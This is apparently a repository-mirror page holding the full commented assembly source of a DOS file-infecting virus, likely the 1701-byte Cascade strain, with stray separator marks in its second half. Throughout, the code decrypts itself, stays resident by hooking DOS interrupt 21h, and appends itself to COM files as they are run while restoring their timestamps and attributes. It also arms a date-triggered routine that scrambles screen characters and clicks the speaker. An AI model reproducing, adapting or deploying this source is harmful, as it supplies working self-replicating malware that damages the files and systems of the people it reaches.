mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
937 lines
15 KiB
NASM
937 lines
15 KiB
NASM
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L0004: CALL L0007 ; PUSH BEGIN ADDRESS
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L0007: POP BX ; POP ADDRESS
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SUB BX,0131H ; CALC DATA POINT
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TEST BYTE PTR CS:[BX+012AH],01H ; ENCODE VIRUS ?
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JE L0023 ; VIRUS IS ENCODING. START
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LEA SI,[BX+014DH] ; START ADDRES FOR ENCODE
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MOV SP,0682H ; SIZE OF VIRUS
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L001B: XOR [SI],SI ; ENCODE ONE BYTE
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XOR [SI],SP
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INC SI ; ADDRESS OF NEXT BYTE
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DEC SP ; LAST BYTE ?
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JNE L001B ; NO. ENCODE NEXT BYTE
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L0023: MOV SP,BP ; RESTORE STACK
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JMP SHORT L0076
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NOP
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ADD [BX+DI],AL
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ESC 09,[SI]
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L002C: DW 0000H
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DEC BP ;DB 4DH
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POP DX ;DB 5AH
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ADD BYTE PTR [BX+SI],00H
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DEC BX
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INC WORD PTR [BX+SI]
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DB 0F0H
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ADC [BP+DI],AX
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MOV DL,0BH
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INC BP
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ADC AL,26H
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ADD AL,[BX+SI]
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ADD [BX+SI],AH
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ADD [BX+SI+12H],DH
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MOV BH,65H
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MOV CX,2A41H
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JNP LFFCC
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INC BP
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L004D: DW 0000H
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JMP L0BD4 ;DB 0E9H,82H,0BH
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L0052: DW 2 DUP(0000H)
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ADD [BX+SI],CL ;DB 00H,08H
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L0058: DW 2 DUP(0000H)
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AND AL,[BX+DI] ;DB 22H,01H
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POP ES ;DB 07H
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ADD AL,[BX] ;DB 02H,07H
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ADD AL,[BX+SI] ;DB 02H,00H
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ADD [BX+DI],AL ;DB 00H,01H
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ADD [BX+DI+8518H],BL ;DB 00H,99H,18H,85H
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ADD AL,00H ;DB 04H,00H
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XOR BYTE PTR [SI],92H ;DB 80H,34H,92H
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XOR AL,13H ;DB 34H,13H
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ADD [BX+DI],AL
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ADC AL,14H
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SUB [BX+SI],BP
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L0076: CALL L0079 ; PUSH ADDRES
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L0079: POP BX ; POP ADDRES TO BX
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SUB BX,01A3H ; CALC DATA POINT
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MOV CS:[BX+0154H],CS ; SAVE CURRENT SEGMENT
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MOV CS:[BX+0156H],AX ; SAVE AX
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MOV AX,CS:[BX+0158H]
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MOV WORD PTR DS:[0100H],AX
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MOV AL,CS:[BX+015AH]
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MOV BYTE PTR DS:[0102H],AL
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PUSH BX ; PUSH DATA POINT
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MOV AH,30H ; GET DOS VERSION
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INT 21H
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L009D: POP BX ; POP DATA POINT
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CMP AL,02H ; INCORECT DOS VERSION ?
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JB L00B3 ; YES. EXECUTE PROGRAM
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MOV AX,4BFFH ; THE VIRUS IS ACTIVE IN MEMORY ?
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XOR DI,DI
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XOR SI,SI
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INT 21H
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L00AB: CMP DI,55AAH ; SPECIAL CODE ?
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JNE L00C0 ; NO. INSERT VIRUS IN MEMORY
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JB L00C9 ; ???
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L00B3: STI
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PUSH DS
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POP ES
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MOV AX,CS:[BX+0156H]
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JMP DWORD PTR CS:[BX+0152H]
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L00C0: PUSH BX ; SAVE BX
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MOV AX,3521H ; GET INT21 ADDRESS IN ES:BX
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INT 21H
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MOV AX,BX
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POP BX ; RESTORE BX
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L00C9: MOV CS:[BX+0161H],AX ; STORE INT21 ADDRESS
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MOV CS:[BX+0163H],ES
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MOV AX,0F000H ; 'BIOS' SEGMENT
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MOV ES,AX
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MOV DI,0E008H ; OFFSET 'COPR. IBM',0
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CMP WORD PTR [DI],4F43H ; CHECK ORIGINAL NAME
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JNE L00FC
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CMP WORD PTR [DI+02H],5250H
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JNE L00FC
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CMP WORD PTR [DI+04H],202EH
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JNE L00FC
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CMP WORD PTR [DI+06H],4249H
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JNE L00FC
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CMP WORD PTR [DI+08H],004DH
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JE L00B3 ; ORIGINAL COMPUTER. CAN'T INSERT VIRUS
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L00FC: MOV AX,007BH ; SIZE OF VIRUS 'MCB'
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MOV BP,CS ; PROGRAM 'MCB' SEGMENT
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DEC BP
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MOV ES,BP
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MOV SI,CS:[0016H]
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MOV ES:[0001H],SI
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MOV DX,ES:[0003H] ; GET BLOCK SIZE
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MOV WORD PTR ES:[0003H],AX ; NEW BLOCK SIZE
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MOV BYTE PTR ES:[0000H],4DH ; MIDDLE BLOCK
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SUB DX,AX ; CALC NEW SIZE OF PROGRAM MEMORY BLOCK
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DEC DX
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INC BP ; PSP SEGMENT
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ADD BP,AX ; NEW 'PSP' OF PROGRAM
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INC BP
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MOV ES,BP ; SEGMENT OF 'PSP'
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PUSH BX ; SET NEW SEGMENT OF 'PSP'
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MOV AH,50H
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MOV BX,BP
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INT 21H
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L012D: POP BX
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XOR DI,DI ; NEW SEGMENT OF STACK
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PUSH ES ; PUSH 0
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POP SS
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PUSH DI
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LEA DI,[BX+07CEH] ; ADDRES OF VIRUS
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MOV SI,DI ; MOVE VIRUS
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MOV CX,06A5H
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STD
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REPZ MOVSB
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PUSH ES ; EXEC VIRUS IN NEW SEGMENT
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LEA CX,[BX+0270H]
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PUSH CX
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RETF
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L0146: MOV CS:[BX+0154H],CS ; SAVE NEW SEGMENT
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LEA CX,[BX+012AH] ; SIZE PROGRAM
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REPZ MOVSB ; MOVE PROGRAM
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MOV CS:[0036H],CS ; STORE CS ???
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DEC BP ; NEW 'MCB' SEGMENT
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MOV ES,BP
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MOV ES:[0003H],DX ; NEW SIZE OF BLOCK
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MOV BYTE PTR ES:[0000H],5AH ; 'LAST' BLOCK
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MOV ES:[0001H],CS ; 'PSP' SEGMENT
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INC BP ; 'PSP' SEGMENT
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MOV ES,BP
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PUSH DS ; ES = NEW VIRUS SEGMENT
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POP ES
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PUSH CS ; DS = CURENT VIRUS SEGMENT
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POP DS
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LEA SI,[BX+012AH] ; BEGIN VIRUS
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MOV DI,0100H ; BEGIN IN NEW SEGMENT
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MOV CX,06A5H ; VIRUS SIZE
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CLD
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REPZ MOVSB ; MOVE VIRUS
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PUSH ES ; EXECUTE VIRUS IN NEW SEGMENT
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LEA AX,DS:[0284H]
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PUSH AX
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RETF
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L0184: MOV WORD PTR CS:[002CH],0000H ; CLEAR ENVIROMENT OF VIRUS
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MOV CS:[0016H],CS
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PUSH DS ; PUSH DS
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LEA DX,DS:[031CH] ; L021C - VIRUS INT21 DRIVER
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PUSH CS
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POP DS ; SET NEW INT21 VECTOR
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MOV AX,2521H
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INT 21H
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L019C: POP DS ; POP DS
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MOV AH,1AH ; SET NEW 'DTA'
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MOV DX,0080H
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INT 21H
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L01A4: CALL L039A
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MOV AH,2AH ; GET DATE : CX - YEAR ,
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INT 21H ; DH - MONTH , DL - DAY
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L01AB: CMP CX,07C4H ; COMPARE WIDTH 1988 ?
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JNBE L0216 ; YEAR IS > 1988 ?
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JE L01DD ; YEAR IS 1988 ?
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CMP CX,07BCH ; YEAR IS 1980 ?
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JNE L0216 ; NO ?
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PUSH DS ; STORE DS
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MOV AX,3528H ; GET ADDRESS INT28
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INT 21H
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L01BF: MOV CS:[013BH],BX ; SAVE ADDRESS
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MOV CS:[013DH],ES
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MOV AX,2528H ; SET NEW INT28
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MOV DX,0722H ; L0622 - INT28 DRIVER
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PUSH CS
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POP DS
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INT 21H
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L01D3: POP DS ; RESTORE DS
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OR BYTE PTR CS:[0157H],08H ; SET 'SHOW' STATUS
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JMP SHORT L01E2
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NOP
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L01DD: CMP DH,0AH ; 1988, OCTOBER ?
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JB L0216
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L01E2: CALL L0462
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MOV AX,1518H
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CALL L036F
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INC AX
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MOV WORD PTR CS:[015EH],AX
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MOV WORD PTR CS:[0160H],AX
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MOV WORD PTR CS:[0164H],0001H
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MOV AX,351CH ; GET ADDRESS INT1C - TIMER
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INT 21H
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L0200: MOV CS:[0133H],BX ; SAVE ADDRESS
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MOV CS:[0135H],ES
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PUSH DS ; SET NEW INT1C
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MOV AX,251CH
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MOV DX,06BDH ; L05BD - INT1C DRIVER
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PUSH CS
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POP DS
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INT 21H
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L0215: POP DS
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L0216: MOV BX,0FFD6H
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JMP L00B3
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; ============== INT 21 DRIVER ==============
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L021C: CMP AH,4BH ; EXEC FUNCTION ?
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JE L0231
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L0221: JMP DWORD PTR CS:[0137H] ; JUMP TO ORIGINAL INT21
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L0226: MOV DI,55AAH ; SPECIAL CODE
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LES AX,DWORD PTR CS:[0137H] ; ES:AX - ORIGINAL INT21 VECTOR
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MOV DX,CS ; DX - VIRUS SEGMENT
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IRET ; RETURN
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L0231: CMP AL,0FFH ; SPECIAL FUNCTION ?
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JE L0226
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CMP AL,00H ; EXEC PROGRAM ?
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JNE L0221 ; NO. QUIT
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PUSHF ; SAVE REGISTERS
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L023A: DB 'PSQRVWU'
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PUSH ES
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PUSH DS
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MOV CS:[0147H],DX ; SAVE FILE NAME
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MOV CS:[0149H],DS
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PUSH CS ; ES = CURENT SEGMENT
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POP ES
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MOV AX,3D00H ; OPEN FILE
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INT 21H
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L0254: JB L02AC ; ERROR ?
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MOV BX,AX ; SAVE FP
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MOV AX,5700H ; GET TIME & DATE OF FILE
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INT 21H
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L025D: MOV CS:[0143H],DX ; SAVE TIME & DATE
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MOV CS:[0145H],CX
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MOV AH,3FH ; READ FIRS 3 BYTES FROM FILE
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PUSH CS
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POP DS
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MOV DX,012EH
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MOV CX,0003H
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INT 21H
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L0273: JB L02AC ; \
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CMP AX,CX ; > ERROR ?
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JNE L02AC ; /
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MOV AX,4202H ; GET FILE SIZE
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XOR CX,CX
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XOR DX,DX
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INT 21H
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L0282: MOV WORD PTR CS:[014BH],AX ; SAVE FILE SIZE
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MOV CS:[014DH],DX
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MOV AH,3EH ; CLOSE FILE
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INT 21H
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L028F: CMP WORD PTR CS:[012EH],5A4DH ; 'EXE' FILE ?
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JNE L029B ; NO. INFECT ...
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JMP L0362 ; QUIT
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L029B: CMP WORD PTR CS:[014DH],+00H ; SIZE OF FILE > 65535 ?
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JNBE L02AC ; YES. QUIT
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CMP WORD PTR CS:[014BH],0F93BH ; SIZE OF FILE > 63803 ?
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JBE L02AF ; YES. QUIT
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L02AC: JMP L0362 ; QUIT
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L02AF: CMP BYTE PTR CS:[012EH],0E9H ; FIRST BYTE IS 'JUMP' CODE ?
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JNE L02C5 ; NO. INFECT
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MOV AX,WORD PTR CS:[014BH] ; AX = NEXT WORD - 1703
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ADD AX,0F959H ; (TWO BYTES FOR JUMP OFFSET)
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CMP AX,CS:[012FH] ; AX = FILE SIZE ?
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JE L02AC ; YES. QUIT
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L02C5: MOV AX,4300H ; GET FILE ATTRIBUTE
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LDS DX,DWORD PTR CS:[0147H]
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INT 21H
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L02CF: JB L02AC ; ERROR ?
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MOV CS:[0141H],CX ; SAVE ATTRIBUTE ?
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XOR CL,20H ; CHANGE ATTRIBUTE ?
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TEST CL,27H
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JE L02E7
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MOV AX,4301H ; SET NEW ATTRIBUTE
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XOR CX,CX
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INT 21H
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L02E5: JB L02AC ; ERROR ?
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L02E7: MOV AX,3D02H ; OPEN FILE - READ/WRITE MODE
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INT 21H
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L02EC: JB L02AC ; ERROR ?
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MOV BX,AX ; SAVE FP
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MOV AX,4202H ; MOVE FP TO END OF FILE
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XOR CX,CX
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XOR DX,DX
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INT 21H
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L02F9: CALL L064C ; WRITE VIRUS CODE
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JNB L0316 ; ERROR ?
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MOV AX,4200H ; MOVE FP TO BEGIN VIRUS
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MOV CX,CS:[014DH]
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MOV DX,CS:[014BH]
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INT 21H
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L030D: MOV AH,40H ; CUT FILE (ERASE VIRUS)
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XOR CX,CX
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INT 21H
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L0313: JMP SHORT L0336 ; QUIT
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NOP
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L0316: MOV AX,4200H ; MOVE FP TO BEGIN FILE
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XOR CX,CX
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XOR DX,DX
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INT 21H
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L031F: JB L0336
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MOV AX,WORD PTR CS:[014BH] ; CALC 'JUMP' WORD
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ADD AX,0FFFEH
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MOV WORD PTR CS:[0150H],AX ; SAVE 'JUMP' WORD
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MOV AH,40H ; WRITE 'JUMP' CODE - 3 BYTES
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MOV DX,014FH
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MOV CX,0003H
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INT 21H
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L0336: MOV AX,5701H ; SET OLD TIME & DATA OF FILE
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MOV DX,CS:[0143H]
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MOV CX,CS:[0145H]
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INT 21H
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L0345: MOV AH,3EH ; CLOSE FILE
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INT 21H
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L0349: MOV CX,CS:[0141H] ; SET OLD ATTRIBUTES ?
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TEST CL,07H
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JNE L0358
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TEST CL,20H
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JNE L0362
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L0358: MOV AX,4301H ; SET OLD ATTRIBUTES
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LDS DX,DWORD PTR CS:[0147H]
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INT 21H
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L0362: POP DS ; POP REGISTERS
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L0363: DB 07H,']_^ZY[X'
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POPF
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JMP L0221 ; EXEC FILE
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L036F: PUSH DS ; SAVE DS
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PUSH CS ; DS = CS
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POP DS
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PUSH BX ; PUSH REGISTERS
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PUSH CX
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PUSH DX
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PUSH AX ; SAVE ARGUMENT
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MOV CX,0007H ; SIZE OF ARRAY
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MOV BX,0174H ; ADDRESS OF END OF ARRAY
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PUSH WORD PTR [BX] ; SAVE LAST ELEMENT
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L037E: MOV AX,[BX-02H] ; ARRAY[I] = ARRAY[I-1]
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ADC [BX],AX
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DEC BX
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DEC BX
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LOOP L037E
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POP AX ; CALC LAST ELEMENT
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ADC [BX],AX
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MOV DX,[BX] ; GET LAST ELEMENT
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POP AX ; POP ARGUMENT
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OR AX,AX ; ARGUMENT IS NULL ?
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JE L0393
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MUL DX ; MUL RANDOM WORD
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L0393: MOV AX,DX ; RETURN RANDOM WORD
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POP DX ; RESTORE REGISTERS
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POP CX
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POP BX
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POP DS
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RET
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L039A: PUSH DS
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PUSH ES
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PUSH SI
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PUSH DI
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PUSH CX
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PUSH CS
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POP ES
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MOV CX,0040H
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MOV DS,CX
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MOV DI,0166H
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MOV SI,006CH
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MOV CX,0008H
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CLD
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REPZ MOVSW
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POP CX
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POP DI
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POP SI
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POP ES
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POP DS
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RET
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L03B8: PUSH SI
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PUSH DS
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PUSH DX
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MOV AL,DH
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MUL BYTE PTR DS:[0152H]
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MOV DH,00H
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ADD AX,DX
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SHL AX,1
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ADD AX,DS:[015AH]
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MOV SI,AX
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TEST BYTE PTR DS:[0154H],0FFH
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MOV DS,DS:[0158H]
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JE L03EA
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MOV DX,03DAH
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CLI
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L03DC: IN AL,DX
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TEST AL,08H
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JNE L03EA
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TEST AL,01H
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JNE L03DC
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L03E5: IN AL,DX
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TEST AL,01H
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JE L03E5
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L03EA: LODSW
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STI
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POP DX
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POP DS
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POP SI
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RET
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L03F0: PUSH DI
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PUSH ES
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PUSH DX
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PUSH BX
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MOV BX,AX
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MOV AL,DH
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MUL BYTE PTR DS:[0152H]
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MOV DH,00H
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ADD AX,DX
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SHL AX,1
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ADD AX,DS:[015AH]
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||
MOV DI,AX
|
||
TEST BYTE PTR DS:[0154H],0FFH
|
||
MOV ES,DS:[0158H]
|
||
JE L0425
|
||
MOV DX,03DAH
|
||
CLI
|
||
L0417: IN AL,DX
|
||
TEST AL,08H
|
||
JNE L0425
|
||
TEST AL,01H
|
||
JNE L0417
|
||
L0420: IN AL,DX
|
||
TEST AL,01H
|
||
JE L0420
|
||
L0425: MOV AX,BX
|
||
STOSB
|
||
STI
|
||
POP BX
|
||
POP DX
|
||
POP ES
|
||
POP DI
|
||
RET
|
||
|
||
L042E: PUSH CX
|
||
L042F: PUSH CX
|
||
MOV CX,DS:[015CH]
|
||
L0434: LOOP L0434
|
||
POP CX
|
||
LOOP L042F
|
||
POP CX
|
||
RET
|
||
|
||
L043B: PUSH AX
|
||
IN AL,61H
|
||
XOR AL,02H
|
||
AND AL,0FEH
|
||
OUT 61H,AL
|
||
POP AX
|
||
RET
|
||
|
||
L0446: CMP AL,00H
|
||
JE L0454
|
||
CMP AL,20H
|
||
JE L0454
|
||
CMP AL,0FFH
|
||
JE L0454
|
||
CLC
|
||
RET
|
||
|
||
L0454: STC
|
||
RET
|
||
|
||
L0456: CMP AL,0B0H
|
||
JB L0460
|
||
CMP AL,0DFH
|
||
JNBE L0460
|
||
STC
|
||
RET
|
||
|
||
L0460: CLC
|
||
RET
|
||
|
||
L0462: PUSH DS
|
||
MOV AX,0040H
|
||
MOV DS,AX
|
||
STI
|
||
MOV AX,WORD PTR DS:[006CH]
|
||
L046C: CMP AX,DS:[006CH]
|
||
JE L046C
|
||
XOR CX,CX
|
||
MOV AX,WORD PTR DS:[006CH]
|
||
L0477: INC CX
|
||
JE L048F
|
||
CMP AX,DS:[006CH]
|
||
JE L0477
|
||
L0480: POP DS
|
||
MOV AX,CX
|
||
XOR DX,DX
|
||
MOV CX,000FH
|
||
DIV CX
|
||
MOV WORD PTR CS:[015CH],AX
|
||
RET
|
||
|
||
L048F: DEC CX
|
||
JMP SHORT L0480
|
||
|
||
|
||
L0492: MOV BYTE PTR DS:[0153H],18H
|
||
|
||
PUSH DS ; GET CURENT VIDEO PAGE
|
||
MOV AX,0040H
|
||
MOV DS,AX
|
||
MOV AX,WORD PTR DS:[004EH]
|
||
POP DS
|
||
|
||
MOV WORD PTR DS:[015AH],AX ; SAVE CURENT VIDEO PAGE
|
||
|
||
MOV DL,0FFH ; EGA CHARACTER GENERATOR FUNC
|
||
MOV AX,1130H
|
||
MOV BH,00H
|
||
PUSH ES
|
||
PUSH BP
|
||
INT 10H
|
||
POP BP
|
||
POP ES
|
||
|
||
CMP DL,0FFH
|
||
JE L04BA
|
||
MOV DS:[0153H],DL
|
||
L04BA: MOV AH,0FH
|
||
INT 10H
|
||
|
||
L04BE: MOV DS:[0152H],AH
|
||
MOV BYTE PTR DS:[0154H],00H
|
||
MOV WORD PTR DS:[0158H],0B000H
|
||
CMP AL,07H
|
||
JE L0507
|
||
JB L04D6
|
||
JMP L05B6
|
||
|
||
L04D6: MOV WORD PTR DS:[0158H],0B800H
|
||
CMP AL,03H
|
||
JNBE L0507
|
||
CMP AL,02H
|
||
JB L0507
|
||
MOV BYTE PTR DS:[0154H],01H
|
||
MOV AL,BYTE PTR DS:[0153H]
|
||
INC AL
|
||
MUL BYTE PTR DS:[0152H]
|
||
MOV WORD PTR DS:[0162H],AX
|
||
MOV AX,WORD PTR DS:[0164H]
|
||
CMP AX,DS:[0162H]
|
||
JBE L0501
|
||
MOV AX,WORD PTR DS:[0162H]
|
||
L0501: CALL L036F
|
||
INC AX
|
||
MOV SI,AX
|
||
L0507: XOR DI,DI
|
||
L0509: INC DI
|
||
MOV AX,WORD PTR DS:[0162H]
|
||
SHL AX,1
|
||
CMP DI,AX
|
||
JBE L0516
|
||
JMP L05B6
|
||
|
||
L0516: OR BYTE PTR DS:[0157H],02H
|
||
MOV AL,BYTE PTR DS:[0152H]
|
||
MOV AH,00H
|
||
CALL L036F
|
||
MOV DL,AL
|
||
MOV AL,BYTE PTR DS:[0153H]
|
||
MOV AH,00H
|
||
CALL L036F
|
||
MOV DH,AL
|
||
CALL L03B8
|
||
CALL L0446
|
||
JB L0509
|
||
CALL L0456
|
||
JB L0509
|
||
MOV BYTE PTR DS:[0155H],AL
|
||
MOV DS:[0156H],AH
|
||
MOV CL,DS:[0153H]
|
||
MOV CH,00H
|
||
L0549: INC DH
|
||
CMP DH,DS:[0153H]
|
||
JNBE L05A3
|
||
CALL L03B8
|
||
CMP AH,DS:[0156H]
|
||
JNE L05A3
|
||
CALL L0446
|
||
JB L0587
|
||
L055F: CALL L0456
|
||
JB L05A3
|
||
INC DH
|
||
CMP DH,DS:[0153H]
|
||
JNBE L05A3
|
||
CALL L03B8
|
||
CMP AH,DS:[0156H]
|
||
JNE L05A3
|
||
CALL L0446
|
||
JNB L055F
|
||
CALL L043B
|
||
DEC DH
|
||
CALL L03B8
|
||
MOV BYTE PTR DS:[0155H],AL
|
||
INC DH
|
||
L0587: AND BYTE PTR DS:[0157H],0FDH
|
||
DEC DH
|
||
MOV AL,20H
|
||
CALL L03F0
|
||
INC DH
|
||
MOV AL,BYTE PTR DS:[0155H]
|
||
CALL L03F0
|
||
JCXZ L05A1
|
||
CALL L042E
|
||
DEC CX
|
||
L05A1: JMP SHORT L0549
|
||
|
||
L05A3: TEST BYTE PTR DS:[0157H],02H
|
||
JE L05AD
|
||
JMP L0509
|
||
|
||
L05AD: CALL L043B
|
||
DEC SI
|
||
JE L05B6
|
||
JMP L0507
|
||
|
||
L05B6: IN AL,61H
|
||
AND AL,0FCH
|
||
OUT 61H,AL
|
||
RET
|
||
|
||
; ============== INT 1C DRIVER ==============
|
||
|
||
L05BD: TEST BYTE PTR CS:[0157H],09H ; SHOW ?
|
||
JNE L061D ; NO. EXEC ORIGINAL INT1C
|
||
|
||
OR BYTE PTR CS:[0157H],01H ; CLEAR SHOW STATUS
|
||
|
||
DEC WORD PTR CS:[015EH] ; DECREMENT COUNTER
|
||
JNE L0617 ; FAILING LETERS ?
|
||
|
||
PUSH DS ; SAVE DS & ES
|
||
PUSH ES
|
||
|
||
PUSH CS ; DS = CS
|
||
POP DS
|
||
|
||
PUSH CS ; ES = DS
|
||
POP ES
|
||
|
||
L05D7: DB 'PSQRVWU' ; PUSH REGISTERS
|
||
|
||
MOV AL,20H ; NO INTERUPTS
|
||
OUT 20H,AL
|
||
|
||
MOV AX,WORD PTR DS:[0160H]
|
||
|
||
CMP AX,0438H
|
||
JNB L05EE
|
||
|
||
MOV AX,0438H
|
||
|
||
L05EE: CALL L036F ; CALC RANDOM WORD FOR TIMER
|
||
INC AX
|
||
|
||
MOV WORD PTR DS:[015EH],AX ; STORE NEW COUNTER
|
||
MOV WORD PTR DS:[0160H],AX
|
||
|
||
CALL L0492
|
||
|
||
MOV AX,0003H
|
||
CALL L036F
|
||
INC AX
|
||
|
||
MUL WORD PTR DS:[0164H]
|
||
JNB L060B
|
||
|
||
MOV AX,0FFFFH
|
||
L060B: MOV WORD PTR DS:[0164H],AX
|
||
|
||
L060E: DB ']_^ZY[X' ; RESTORE REGISTERS
|
||
POP ES
|
||
POP DS
|
||
|
||
L0617: AND BYTE PTR CS:[0157H],0FEH ; SET SHOW STATUS
|
||
|
||
L061D: JMP DWORD PTR CS:[0133H] ; EXEC OROGINAL INT1C
|
||
|
||
TEST BYTE PTR CS:[0157H],08H
|
||
JE L0647
|
||
|
||
; ============== INT 28 DRIVER ==============
|
||
|
||
L0622: PUSH AX ; SAVE REGISTERS
|
||
PUSH CX
|
||
PUSH DX
|
||
|
||
MOV AH,2AH ; GET DATE
|
||
INT 21H
|
||
|
||
L0631: CMP CX,07C4H ; COMPARE WIDTH 1988
|
||
JB L0644 ; YEAR IS < 1988 ? - NO SHOW
|
||
JNBE L063E ; YEAR IS > 1988 ? - SET FLAG FOR SHOW
|
||
|
||
CMP DH,0AH ; YEAR IS 1988. MONTH IS < OCTOBER ?
|
||
JB L0644 ; YES. NO SHOW
|
||
|
||
L063E: AND BYTE PTR CS:[0157H],0F7H ; SET SHOW FLAG
|
||
|
||
L0644: POP DX ; RESTORE REGISTERS
|
||
POP CX
|
||
POP AX
|
||
|
||
L0647: JMP DWORD PTR CS:[013BH] ; EXECUTING ORIGINAL INT28
|
||
|
||
L064C: PUSH ES
|
||
PUSH BX
|
||
|
||
MOV AH,48H ; GET MEMORY - 1712 BYTES
|
||
MOV BX,006BH
|
||
INT 21H
|
||
L0655: POP BX
|
||
|
||
JNB L065B ; NO ERROR ?
|
||
|
||
L0658: STC ; ERROR - QUIT
|
||
POP ES
|
||
RET
|
||
|
||
L065B: MOV BYTE PTR CS:[0100H],01H
|
||
|
||
L0661: MOV ES,AX ; ES = NEW MEMORY SEGMENT
|
||
|
||
PUSH CS ; DS = VIRUS SEGMENT
|
||
POP DS
|
||
|
||
XOR DI,DI ; MOVE VIRUS CODE TO NEW SEGMENT
|
||
MOV SI,0100H
|
||
MOV CX,06A5H ; SIZE OF VIRUS - 1701 BYTES
|
||
CLD
|
||
REPZ MOVSB
|
||
|
||
MOV DI,0023H ; BEGIN FOR CODING V.CODE
|
||
|
||
MOV SI,0123H ; CALC CODING WORD
|
||
ADD SI,DS:[014BH]
|
||
|
||
MOV CX,0682H ; SIZE OF CODING CODE - 1666 BYTES
|
||
|
||
L067D: XOR ES:[DI],SI ; CODING BYTE
|
||
XOR ES:[DI],CX
|
||
|
||
INC DI ; ADDRESS OF NAXT BYTE
|
||
INC SI
|
||
|
||
LOOP L067D ; CODING NEXT BYTE
|
||
|
||
MOV DS,AX ; SEGMENT OF CODING CODE
|
||
|
||
MOV AH,40H ; WRITE CODE
|
||
XOR DX,DX
|
||
MOV CX,06A5H ; SIZE CODE - 1701 BYTES
|
||
INT 21H
|
||
|
||
L0692: PUSHF
|
||
PUSH AX
|
||
|
||
MOV AH,49H ; FREE BLOCK
|
||
INT 21H
|
||
|
||
L0698: POP AX
|
||
POPF
|
||
|
||
PUSH CS
|
||
POP DS
|
||
JB L0658 ; ERROR IN WRITING ?
|
||
|
||
CMP AX,CX ; ALL BYTES IS WRITING ?
|
||
JNE L0658
|
||
|
||
POP ES ; RETURN - NO ERRORS
|
||
CLC
|
||
RET
|
||
|
||
L06A5: JB L0661
|
||
CMP AX,CX
|
||
JNE L0661
|
||
POP ES
|
||
CLC
|
||
RET
|
||
|